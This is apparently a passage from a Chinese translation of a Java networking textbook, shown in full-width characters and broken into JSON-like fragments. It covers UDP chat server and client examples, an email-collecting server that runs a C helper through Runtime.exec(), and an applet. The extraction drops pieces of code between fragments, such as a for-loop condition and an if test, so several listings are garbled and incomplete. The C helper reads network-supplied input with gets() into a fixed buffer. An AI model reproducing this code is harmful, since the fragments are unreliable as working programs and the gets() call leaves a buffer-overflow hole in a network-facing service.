ｄｐ．ｇｅｔＡｄｄｒｅｓｓ（）， ｄｐ．ｇｅｔＰｏｒｔ（））； ｓｏｃｋｅｔ．ｓｅｎｄ（ｅｃｈｏ）； ｝ ｝ ｃａｔｃｈ（ＳｏｃｋｅｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｃａｎ＇ｔ ｏｐｅｎ ｓｏｃｋｅｔ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｃｏｍｍｕｎｉｃａｔｉｏｎ ｅｒｒｏｒ＂）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｎｅｗ ＣｈａｔｔｅｒＳｅｒｖｅｒ（）；"},
    {"text": "｝ ｝ ／／／：￣ ＣｈａｔｔｅｒＳｅｒｖｅｒ 创建了一个用来接收消息的 ＤａｔａｇｒａｍＳｏｃｋｅｔ（数据报套接字），而不是在我们每次准备接收 一条新消息时都新建一个。"},
    {"text": "尽管有一个端口号，但没有为它分配因特网地址，因为 它就驻留在“这”台机器内，所以知道自己的因特网地址是什么（目前是默认的 ｌｏｃａｌｈｏｓｔ）。"},
    {"text": "正如大家会看到的那样，许多不同的因特网地址和端口号都可能是消息的起源 ５４９ 地——换言之，客户程序可能驻留在任何一台机器里（就这一次演示来说，它们都驻留在 ｌｏｃａｌｈｏｓｔ 里，但 每个客户使用的端口编号是不同的）。"},
    {"text": "幸运的是，所有这些资料均已非常周到地封装到发出消息的 ＤａｔａｇｒａｍＰａｃｋｅｔ 内部，所以我 们要做的全部事情就是用 ｇｅｔＡｄｄｒｅｓｓ（）和 ｇｅｔＰｏｒｔ（）把它们取出来。"},
    {"text": "除此以外，一旦套接字发出数据报，就 会添加“这”台机器的因特网地址及端口信息，所以当客户接收消息时，它可以利用 ｇｅｔＡｄｄｒｅｓｓ（）和 ｇｅｔＰｏｒｔ（）了解数据报来自何处。 事实上，ｇｅｔＡｄｄｒｅｓｓ（）和 ｇｅｔＰｏｒｔ（）唯一不能告诉我们数据报来自何处的前 提是：我们创建一个待发送的数据报，并在正式发出之前调用了 ｇｅｔＡｄｄｒｅｓｓ（）和 ｇｅｔＰｏｒｔ（）。"},
    {"text": "／／： ＣｈａｔｔｅｒＣｌｉｅｎｔ．ｊａｖａ ／／ Ｔｅｓｔｓ ｔｈｅ ＣｈａｔｔｅｒＳｅｒｖｅｒ ｂｙ ｓｔａｒｔｉｎｇ ｍｕｌｔｉｐｌｅ ／／ ｃｌｉｅｎｔｓ， ｅａｃｈ ｏｆ ｗｈｉｃｈ ｓｅｎｄｓ ｄａｔａｇｒａｍｓ． ｉｍｐｏｒｔ ｊａｖａ．ｌａｎｇ．Ｔｈｒｅａｄ； ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＣｈａｔｔｅｒＣｌｉｅｎｔ ｅｘｔｅｎｄｓ Ｔｈｒｅａｄ ｛ ／／ Ｃａｎ ｌｉｓｔｅｎ ＆ ｓｅｎｄ ｏｎ ｔｈｅ ｓａｍｅ ｓｏｃｋｅｔ： ｐｒｉｖａｔｅ ＤａｔａｇｒａｍＳｏｃｋｅｔ ｓ； ｐｒｉｖａｔｅ ＩｎｅｔＡｄｄｒｅｓｓ ｈｏｓｔＡｄｄｒｅｓｓ； ｐｒｉｖａｔｅ ｂｙｔｅ［］ ｂｕｆ ＝ ｎｅｗ ｂｙｔｅ［１０００］； ｐｒｉｖａｔｅ ＤａｔａｇｒａｍＰａｃｋｅｔ ｄｐ ＝ ｎｅｗ ＤａｔａｇｒａｍＰａｃｋｅｔ（ｂｕｆ， ｂｕｆ．ｌｅｎｇｔｈ）； ｐｒｉｖａｔｅ ｉｎｔ ｉｄ； ｐｕｂｌｉｃ ＣｈａｔｔｅｒＣｌｉｅｎｔ（ｉｎｔ ｉｄｅｎｔｉｆｉｅｒ） ｛ ｉｄ ＝ ｉｄｅｎｔｉｆｉｅｒ； ｔｒｙ ｛ ／／ Ａｕｔｏ－ａｓｓｉｇｎ ｐｏｒｔ ｎｕｍｂｅｒ： ｓ ＝ ｎｅｗ ＤａｔａｇｒａｍＳｏｃｋｅｔ（）； ｈｏｓｔＡｄｄｒｅｓｓ ＝ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（＂ｌｏｃａｌｈｏｓｔ＂）； ｝ ｃａｔｃｈ（ＵｎｋｎｏｗｎＨｏｓｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｃａｎｎｏｔ ｆｉｎｄ ｈｏｓｔ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｃａｔｃｈ（ＳｏｃｋｅｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｃａｎ＇ｔ ｏｐｅｎ ｓｏｃｋｅｔ＂）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＣｈａｔｔｅｒＣｌｉｅｎｔ ｓｔａｒｔｉｎｇ＂）； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｕｎ（） ｛ ｔｒｙ ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｛ Ｓｔｒｉｎｇ ｏｕｔＭｅｓｓａｇｅ ＝ ＂Ｃｌｉｅｎｔ ＃＂ ＋ ｉｄ ＋ ＂， ｍｅｓｓａｇｅ ＃＂ ＋ ｉ； ５５０ ／／ Ｍａｋｅ ａｎｄ ｓｅｎｄ ａ ｄａｔａｇｒａｍ： ｓ．ｓｅｎｄ（Ｄｇｒａｍ．ｔｏＤａｔａｇｒａｍ（ｏｕｔＭｅｓｓａｇｅ， ｈｏｓｔＡｄｄｒｅｓｓ， ＣｈａｔｔｅｒＳｅｒｖｅｒ．ＩＮＰＯＲＴ））； ／／ Ｂｌｏｃｋ ｕｎｔｉｌ ｉｔ ｅｃｈｏｅｓ ｂａｃｋ： ｓ．ｒｅｃｅｉｖｅ（ｄｐ）； ／／ Ｐｒｉｎｔ ｏｕｔ ｔｈｅ ｅｃｈｏｅｄ ｃｏｎｔｅｎｔｓ： Ｓｔｒｉｎｇ ｒｃｖｄ ＝ ＂Ｃｌｉｅｎｔ ＃＂ ＋ ｉｄ ＋ ＂， ｒｃｖｄ ｆｒｏｍ ＂ ＋ ｄｐ．ｇｅｔＡｄｄｒｅｓｓ（） ＋ ＂， ＂ ＋ ｄｐ．ｇｅｔＰｏｒｔ（） ＋ ＂： ＂ ＋ Ｄｇｒａｍ．ｔｏＳｔｒｉｎｇ（ｄｐ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｒｃｖｄ）； ｝ ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋） ｎｅｗ ＣｈａｔｔｅｒＣｌｉｅｎｔ（ｉ）．ｓｔａｒｔ（）；"},
    {"text": "在这个例子中，尽管是一种“不 可靠”协议，但仍然能够检查数据报是否到去过了它们该去的地方（这在 ｌｏｃａｌｈｏｓｔ 和 ＬＡＮ 环境中是成立 的，但在非本地连接中却可能出现一些错误）。"},
    {"text": "接收机器会取得这些数据包，并重新“组装”它们； 一个“标题包”会告诉机器应该接收多少个 包，以及组装所需的另一些重要信息。 如果一个包在半路“走丢”了，接收机器会返回一个数据报，告诉发 送者重传。"},
    {"text": "这 个应用的一部分是在 Ｗｅｂ 服务器上运行的一个 Ｊａｖａ 程序，另一部分则是一个“程序片”或“小应用程序” ５５１ （Ａｐｐｌｅｔ），从服务器下载至浏览器（即“客户”）。 这个程序片从用户那里收集信息，并将其传回 Ｗｅｂ 服 务器上运行的应用程序。 程序的任务非常简单：程序片会询问用户的 Ｅ－ｍａｉｌ 地址，并在验证这个地址合格后 （没有包含空格，而且有一个＠符号），将该 Ｅ－ｍａｉｌ 发送给 Ｗｅｂ 服务器。 服务器上运行的程序则会捕获传回 的数据，检查一个包含了所有 Ｅ－ｍａｉｌ 地址的数据文件。"},
    {"text": "提交数据的同时，Ｗｅｂ 页也会告诉服务器应对数据采取什么样的操作——知会“通用网关接口” （ＣＧＩ）程序，收到这些数据后立即运行服务器。"},
    {"text": "首先，我们会用一个 Ｊａｖａ 程序片负责客户端的数据有效性校验，避免数据在服务器和客户之间传来传去，浪 费时间和带宽，同时减轻服务器额外构建 ＨＴＭＬ 页的负担。"},
    {"text": "然后跳过 Ｐｅｒｌ ＣＧＩ 脚本，换成在服务器上运行一 个 Ｊａｖａ 应用。 事实上，我们在这儿已完全跳过了 Ｗｅｂ 服务器，仅仅需要从程序片到服务器上运行的 Ｊａｖａ 应 用之间建立一个连接即可。"},
    {"text": "服务器应用收到一个数据报，并对它进行解读的时候，必须提取出其中的电子函件地址，并检查本机保存的 数据文件，看看里面是否已经包含了那个地址（如果没有，则添加之）。"},
    {"text": "程序使用的 Ｒｕｎｔｉｍｅ 对象包含了一个名为 ｅｘｅｃ（）的方法，它会独立机器上一个独立的程序，并返回一个 Ｐｒｏｃｅｓｓ（进程）对象。"},
    {"text": "我们可以取得一个 ＯｕｔｐｕｔＳｔｒｅａｍ，它同这个单独程序的标准输入连接在一起； 并取 得一个 ＩｎｐｕｔＳｔｒｅａｍ，它则同标准输出连接到一起。"},
    {"text": "／／： Ｌｉｓｔｍｇｒ．ｃ ／／ Ｕｓｅｄ ｂｙ ＮａｍｅＣｏｌｌｅｃｔｏｒ．ｊａｖａ ｔｏ ｍａｎａｇｅ ／／ ｔｈｅ ｅｍａｉｌ ｌｉｓｔ ｆｉｌｅ ｏｎ ｔｈｅ ｓｅｒｖｅｒ ＃ｉｎｃｌｕｄｅ ＜ｓｔｄｉｏ．ｈ＞ ＃ｉｎｃｌｕｄｅ ＜ｓｔｄｌｉｂ．ｈ＞ ＃ｉｎｃｌｕｄｅ ＜ｓｔｒｉｎｇ．ｈ＞ ＃ｄｅｆｉｎｅ ＢＳＩＺＥ ２５０ ｉｎｔ ａｌｒｅａｄｙＩｎＬｉｓｔ（ＦＩＬＥ＊ ｌｉｓｔ， ｃｈａｒ＊ ｎａｍｅ） ｛ ｃｈａｒ ｌｂｕｆ［ＢＳＩＺＥ］； ／／ Ｇｏ ｔｏ ｔｈｅ ｂｅｇｉｎｎｉｎｇ ｏｆ ｔｈｅ ｌｉｓｔ： ｆｓｅｅｋ（ｌｉｓｔ， ０， ＳＥＥＫ＿ＳＥＴ）； ／／ Ｒｅａｄ ｅａｃｈ ｌｉｎｅ ｉｎ ｔｈｅ ｌｉｓｔ： ｗｈｉｌｅ（ｆｇｅｔｓ（ｌｂｕｆ， ＢＳＩＺＥ， ｌｉｓｔ）） ｛ ／／ Ｓｔｒｉｐ ｏｆｆ ｔｈｅ ｎｅｗｌｉｎｅ： ｃｈａｒ ＊ ｎｅｗｌｉｎｅ ＝ ｓｔｒｃｈｒ（ｌｂｕｆ， ＇＼ｎ＇）；"},
    {"text": "＝ ０） ＊ｎｅｗｌｉｎｅ ＝ ＇＼０＇； ｉｆ（ｓｔｒｃｍｐ（ｌｂｕｆ， ｎａｍｅ） ＝＝ ０） ｒｅｔｕｒｎ １； ｝ ｒｅｔｕｒｎ ０； ｝ ｉｎｔ ｍａｉｎ（） ｛ ｃｈａｒ ｂｕｆ［ＢＳＩＺＥ］； ＦＩＬＥ＊ ｌｉｓｔ ＝ ｆｏｐｅｎ（＂ｅｍｌｉｓｔ．ｔｘｔ＂， ＂ａ＋ｔ＂）； ｉｆ（ｌｉｓｔ ＝＝ ０） ｛ ｐｅｒｒｏｒ（＂ｃｏｕｌｄ ｎｏｔ ｏｐｅｎ ｅｍｌｉｓｔ．ｔｘｔ＂）； ｅｘｉｔ（１）； ｝ ｗｈｉｌｅ（１） ｛ ｇｅｔｓ（ｂｕｆ）； ／＊ Ｆｒｏｍ ｓｔｄｉｎ ＊／ ｉｆ（ａｌｒｅａｄｙＩｎＬｉｓｔ（ｌｉｓｔ， ｂｕｆ）） ｛ ｐｒｉｎｔｆ（＂Ａｌｒｅａｄｙ ｉｎ ｌｉｓｔ： ％ｓ＂， ｂｕｆ）； ｆｆｌｕｓｈ（ｓｔｄｏｕｔ）； ｝ ｅｌｓｅ ｛ ｆｓｅｅｋ（ｌｉｓｔ， ０， ＳＥＥＫ＿ＥＮＤ）； ｆｐｒｉｎｔｆ（ｌｉｓｔ， ＂％ｓ＼ｎ＂， ｂｕｆ）； ｆｆｌｕｓｈ（ｌｉｓｔ）； ｐｒｉｎｔｆ（＂％ｓ ａｄｄｅｄ ｔｏ ｌｉｓｔ＂， ｂｕｆ）； ｆｆｌｕｓｈ（ｓｔｄｏｕｔ）；"},
    {"text": "文件中的第一个函数检查我们作为第二个参数（指向一个 ｃｈａｒ 的指针）传递给它的名字是否已在文件中。 在 这儿，我们将文件作为一个 ＦＩＬＥ 指针传递，它指向一个已打开的文件（文件是在 ｍａｉｎ（）中打开的）。 函数 ｆｓｅｅｋ（）在文件中遍历；"},
    {"text": "函数随后会退出，并返回一个 １，指出 该名字已经在文件里了（注意这个函数找到相符内容后会立即返回，不会把时间浪费在检查列表剩余内容的 上面）。 如果找遍列表都没有发现相符的内容，则函数返回 ０。"},
    {"text": "调用 ｇｅｔｓ（ｂｕｆ）的函数会从标准输入中取出一行（记住标 准输入会与 Ｊａｖａ 程序连接到一起），并将其置入缓冲区 ｂｕｆ 中。 缓冲区的内容随后会简单地传递给 ａｌｒｅａｄｙＩｎＬｉｓｔ（）函数，如内容已在列表中，ｐｒｉｎｔｆ（）就会将那条消息发给标准输出（Ｊａｖａ 程序正在监视 它）。 ｆｆｌｕｓｈ（）用于对输出缓冲区进行刷新。"},
    {"text": "如果名字不在列表中，就用 ｆｓｅｅｋ（）移到列表末尾，并用 ｆｐｒｉｎｔｆ（）将名字“打印”到列表末尾。 随后，用 ｐｒｉｎｔｆ（）指出名字已成功加入列表（同样需要刷新标准输出），无限循环返回，继续等候一个新名字的进 入。"},
    {"text": "记住一般不能先在自己的计算机上编译此程序，再把编译好的内容上载到 Ｗｅｂ 服务器，因为那台机器使用的 可能是不同类的处理器和操作系统。 例如，我的 Ｗｅｂ 服务器安装的是 Ｉｎｔｅｌ 的 ＣＰＵ，但操作系统是 Ｌｉｎｕｘ，所 以必须先下载源码，再用远程命令（通过 ｔｅｌｎｅｔ）指挥 Ｌｉｎｕｘ 自带的 Ｃ 编译器，令其在服务器端编译好程 序。 ２． Ｊａｖａ 程序 这个程序先启动上述的 Ｃ 程序，再建立必要的连接，以便同它“交谈”。"},
    {"text": "／／： ＮａｍｅＣｏｌｌｅｃｔｏｒ．ｊａｖａ ／／ Ｅｘｔｒａｃｔｓ ｅｍａｉｌ ｎａｍｅｓ ｆｒｏｍ ｄａｔａｇｒａｍｓ ａｎｄ ｓｔｏｒｅｓ ／／ ｔｈｅｍ ｉｎｓｉｄｅ ａ ｆｉｌｅ， ｕｓｉｎｇ Ｊａｖａ １．０２． ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＮａｍｅＣｏｌｌｅｃｔｏｒ ｛ ｆｉｎａｌ ｓｔａｔｉｃ ｉｎｔ ＣＯＬＬＥＣＴＯＲ＿ＰＯＲＴ ＝ ８０８０； ｆｉｎａｌ ｓｔａｔｉｃ ｉｎｔ ＢＵＦＦＥＲ＿ＳＩＺＥ ＝ １０００； ｂｙｔｅ［］ ｂｕｆ ＝ ｎｅｗ ｂｙｔｅ［ＢＵＦＦＥＲ＿ＳＩＺＥ］； ＤａｔａｇｒａｍＰａｃｋｅｔ ｄｐ ＝ ｎｅｗ ＤａｔａｇｒａｍＰａｃｋｅｔ（ｂｕｆ， ｂｕｆ．ｌｅｎｇｔｈ）； ／／ Ｃａｎ ｌｉｓｔｅｎ ＆ ｓｅｎｄ ｏｎ ｔｈｅ ｓａｍｅ ｓｏｃｋｅｔ： ＤａｔａｇｒａｍＳｏｃｋｅｔ ｓｏｃｋｅｔ； Ｐｒｏｃｅｓｓ ｌｉｓｔｍｇｒ； ＰｒｉｎｔＳｔｒｅａｍ ｎａｍｅＬｉｓｔ； ＤａｔａＩｎｐｕｔＳｔｒｅａｍ ａｄｄＲｅｓｕｌｔ； ｐｕｂｌｉｃ ＮａｍｅＣｏｌｌｅｃｔｏｒ（） ｛ ｔｒｙ ｛ ｌｉｓｔｍｇｒ ＝ Ｒｕｎｔｉｍｅ．ｇｅｔＲｕｎｔｉｍｅ（）．ｅｘｅｃ（＂ｌｉｓｔｍｇｒ．ｅｘｅ＂）； ｎａｍｅＬｉｓｔ ＝ ｎｅｗ ＰｒｉｎｔＳｔｒｅａｍ（ ５５４ ｎｅｗ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ（ ｌｉｓｔｍｇｒ．ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（）））； ａｄｄＲｅｓｕｌｔ ＝ ｎｅｗ ＤａｔａＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ（ ｌｉｓｔｍｇｒ．ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（）））； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ ＂Ｃａｎｎｏｔ ｓｔａｒｔ ｌｉｓｔｍｇｒ．ｅｘｅ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｔｒｙ ｛ ｓｏｃｋｅｔ ＝ ｎｅｗ ＤａｔａｇｒａｍＳｏｃｋｅｔ（ＣＯＬＬＥＣＴＯＲ＿ＰＯＲＴ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ＮａｍｅＣｏｌｌｅｃｔｏｒ Ｓｅｒｖｅｒ ｓｔａｒｔｅｄ＂）； ｗｈｉｌｅ（ｔｒｕｅ） ｛ ／／ Ｂｌｏｃｋ ｕｎｔｉｌ ａ ｄａｔａｇｒａｍ ａｐｐｅａｒｓ： ｓｏｃｋｅｔ．ｒｅｃｅｉｖｅ（ｄｐ）； Ｓｔｒｉｎｇ ｒｃｖｄ ＝ ｎｅｗ Ｓｔｒｉｎｇ（ｄｐ．ｇｅｔＤａｔａ（）， ０， ０， ｄｐ．ｇｅｔＬｅｎｇｔｈ（））； ／／ Ｓｅｎｄ ｔｏ ｌｉｓｔｍｇｒ．ｅｘｅ ｓｔａｎｄａｒｄ ｉｎｐｕｔ： ｎａｍｅＬｉｓｔ．ｐｒｉｎｔｌｎ（ｒｃｖｄ．ｔｒｉｍ（））； ｎａｍｅＬｉｓｔ．ｆｌｕｓｈ（）； ｂｙｔｅ［］ ｒｅｓｕｌｔＢｕｆ ＝ ｎｅｗ ｂｙｔｅ［ＢＵＦＦＥＲ＿ＳＩＺＥ］； ｉｎｔ ｂｙｔｅＣｏｕｎｔ ＝ ａｄｄＲｅｓｕｌｔ．ｒｅａｄ（ｒｅｓｕｌｔＢｕｆ）； ｉｆ（ｂｙｔｅＣｏｕｎｔ ！ ＝ －１） ｛ Ｓｔｒｉｎｇ ｒｅｓｕｌｔ ＝ ｎｅｗ Ｓｔｒｉｎｇ（ｒｅｓｕｌｔＢｕｆ， ０）．ｔｒｉｍ（）； ／／ Ｅｘｔｒａｃｔ ｔｈｅ ａｄｄｒｅｓｓ ａｎｄ ｐｏｒｔ ｆｒｏｍ ／／ ｔｈｅ ｒｅｃｅｉｖｅｄ ｄａｔａｇｒａｍ ｔｏ ｆｉｎｄ ｏｕｔ ／／ ｗｈｅｒｅ ｔｏ ｓｅｎｄ ｔｈｅ ｒｅｐｌｙ： ＩｎｅｔＡｄｄｒｅｓｓ ｓｅｎｄｅｒＡｄｄｒｅｓｓ ＝ ｄｐ．ｇｅｔＡｄｄｒｅｓｓ（）； ｉｎｔ ｓｅｎｄｅｒＰｏｒｔ ＝ ｄｐ．ｇｅｔＰｏｒｔ（）； ｂｙｔｅ［］ ｅｃｈｏＢｕｆ ＝ ｎｅｗ ｂｙｔｅ［ＢＵＦＦＥＲ＿ＳＩＺＥ］； ｒｅｓｕｌｔ．ｇｅｔＢｙｔｅｓ（ ０， ｂｙｔｅＣｏｕｎｔ， ｅｃｈｏＢｕｆ， ０）； ＤａｔａｇｒａｍＰａｃｋｅｔ ｅｃｈｏ ＝ ｎｅｗ ＤａｔａｇｒａｍＰａｃｋｅｔ（ ｅｃｈｏＢｕｆ， ｅｃｈｏＢｕｆ．ｌｅｎｇｔｈ， ｓｅｎｄｅｒＡｄｄｒｅｓｓ， ｓｅｎｄｅｒＰｏｒｔ）； ｓｏｃｋｅｔ．ｓｅｎｄ（ｅｃｈｏ）； ｝ ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｕｎｅｘｐｅｃｔｅｄ ｌａｃｋ ｏｆ ｒｅｓｕｌｔ ｆｒｏｍ ＂ ＋ ＂ｌｉｓｔｍｇｒ．ｅｘｅ＂）； ｝ ｝ ｃａｔｃｈ（ＳｏｃｋｅｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｃａｎ＇ｔ ｏｐｅｎ ｓｏｃｋｅｔ＂）； ５５５ Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂Ｃｏｍｍｕｎｉｃａｔｉｏｎ ｅｒｒｏｒ＂）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｎｅｗ ＮａｍｅＣｏｌｌｅｃｔｏｒ（）；"},
    {"text": "｝ ｝ ／／／：￣ ＮａｍｅＣｏｌｌｅｃｔｏｒ 中的第一个定义应该是大家所熟悉的：选定端口，创建一个数据报包，然后创建指向一个 ＤａｔａｇｒａｍＳｏｃｋｅｔ 的句柄。"},
    {"text": "接下来的三个定义负责与 Ｃ 程序的连接：一个 Ｐｒｏｃｅｓｓ 对象是 Ｃ 程序由 Ｊａｖａ 程序 启动之后返回的，而且那个 Ｐｒｏｃｅｓｓ 对象产生了 ＩｎｐｕｔＳｔｒｅａｍ 和 ＯｕｔｐｕｔＳｔｒｅａｍ，分别代表 Ｃ 程序的标准输出 和标准输入。"},
    {"text": "和 Ｊａｖａ ＩＯ 一样，它们理所当然地需要“封装”起来，所以我们最后得到的是一个 ＰｒｉｎｔＳｔｒｅａｍ 和 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ。"},
    {"text": "我们用它调用 ｅｘｅｃ（），再由后者返回 Ｐｒｏｃｅｓｓ 对象。 在 Ｐｒｏｃｅｓｓ 对象中，大家可看到通过一简单的调用即可生成数据流： ｇｅｔＯｕｔｐｕｔＳｔｒｅａｍ（）和 ｇｅｔＩｎｐｕｔＳｔｒｅａｍ（）。"},
    {"text": "当然，这样做对代码的可读性不利，但却能 产生一个单类（以及单个服务器请求）程序片： ／／： ＮａｍｅＳｅｎｄｅｒ．ｊａｖａ ／／ Ａｎ ａｐｐｌｅｔ ｔｈａｔ ｓｅｎｄｓ ａｎ ｅｍａｉｌ ａｄｄｒｅｓｓ ／／ ａｓ ａ ｄａｔａｇｒａｍ， ｕｓｉｎｇ Ｊａｖａ １．０２． ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｐｐｌｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｎｅｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＮａｍｅＳｅｎｄｅｒ ｅｘｔｅｎｄｓ Ａｐｐｌｅｔ ｉｍｐｌｅｍｅｎｔｓ Ｒｕｎｎａｂｌｅ ｛ ｐｒｉｖａｔｅ Ｔｈｒｅａｄ ｐｌ ＝ ｎｕｌｌ； ５５６ ｐｒｉｖａｔｅ Ｂｕｔｔｏｎ ｓｅｎｄ ＝ ｎｅｗ Ｂｕｔｔｏｎ（ ＂Ａｄｄ ｅｍａｉｌ ａｄｄｒｅｓｓ ｔｏ ｍａｉｌｉｎｇ ｌｉｓｔ＂）； ｐｒｉｖａｔｅ ＴｅｘｔＦｉｅｌｄ ｔ ＝ ｎｅｗ ＴｅｘｔＦｉｅｌｄ（ ＂ｔｙｐｅ ｙｏｕｒ ｅｍａｉｌ ａｄｄｒｅｓｓ ｈｅｒｅ＂， ４０）； ｐｒｉｖａｔｅ Ｓｔｒｉｎｇ ｓｔｒ ＝ ｎｅｗ Ｓｔｒｉｎｇ（）； ｐｒｉｖａｔｅ Ｌａｂｅｌ ｌ ＝ ｎｅｗ Ｌａｂｅｌ（）， ｌ２ ＝ ｎｅｗ Ｌａｂｅｌ（）； ｐｒｉｖａｔｅ ＤａｔａｇｒａｍＳｏｃｋｅｔ ｓ； ｐｒｉｖａｔｅ ＩｎｅｔＡｄｄｒｅｓｓ ｈｏｓｔＡｄｄｒｅｓｓ； ｐｒｉｖａｔｅ ｂｙｔｅ［］ ｂｕｆ ＝ ｎｅｗ ｂｙｔｅ［ＮａｍｅＣｏｌｌｅｃｔｏｒ．ＢＵＦＦＥＲ＿ＳＩＺＥ］； ｐｒｉｖａｔｅ ＤａｔａｇｒａｍＰａｃｋｅｔ ｄｐ ＝ ｎｅｗ ＤａｔａｇｒａｍＰａｃｋｅｔ（ｂｕｆ， ｂｕｆ．ｌｅｎｇｔｈ）； ｐｒｉｖａｔｅ ｉｎｔ ｖｃｏｕｎｔ ＝ ０； ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｉｔ（） ｛ ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＢｏｒｄｅｒＬａｙｏｕｔ（））； Ｐａｎｅｌ ｐ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｐ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２， １））； ｐ．ａｄｄ（ｔ）； ｐ．ａｄｄ（ｓｅｎｄ）； ａｄｄ（＂Ｎｏｒｔｈ＂， ｐ）； Ｐａｎｅｌ ｌａｂｅｌｓ ＝ ｎｅｗ Ｐａｎｅｌ（）； ｌａｂｅｌｓ．ｓｅｔＬａｙｏｕｔ（ｎｅｗ ＧｒｉｄＬａｙｏｕｔ（２， １））；"},
    {"text": "index ｌａｂｅｌｓ．ａｄｄ（ｌ）； ｌａｂｅｌｓ．ａｄｄ（ｌ２）； ａｄｄ（＂Ｃｅｎｔｅｒ＂， ｌａｂｅｌｓ）； ｔｒｙ ｛ ／／ Ａｕｔｏ－ａｓｓｉｇｎ ｐｏｒｔ ｎｕｍｂｅｒ： ｓ ＝ ｎｅｗ ＤａｔａｇｒａｍＳｏｃｋｅｔ（）； ｈｏｓｔＡｄｄｒｅｓｓ ＝ ＩｎｅｔＡｄｄｒｅｓｓ．ｇｅｔＢｙＮａｍｅ（ ｇｅｔＣｏｄｅＢａｓｅ（）．ｇｅｔＨｏｓｔ（））； ｝ ｃａｔｃｈ（ＵｎｋｎｏｗｎＨｏｓｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｃａｎｎｏｔ ｆｉｎｄ ｈｏｓｔ＂）； ｝ ｃａｔｃｈ（ＳｏｃｋｅｔＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｌ．ｓｅｔＴｅｘｔ（＂Ｃａｎ＇ｔ ｏｐｅｎ ｓｏｃｋｅｔ＂）； ｝ ｌ．ｓｅｔＴｅｘｔ（＂Ｒｅａｄｙ ｔｏ ｓｅｎｄ ｙｏｕｒ ｅｍａｉｌ ａｄｄｒｅｓｓ＂）； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｔｉｏｎ （Ｅｖｅｎｔ ｅｖｔ， Ｏｂｊｅｃｔ ａｒｇ） ｛ 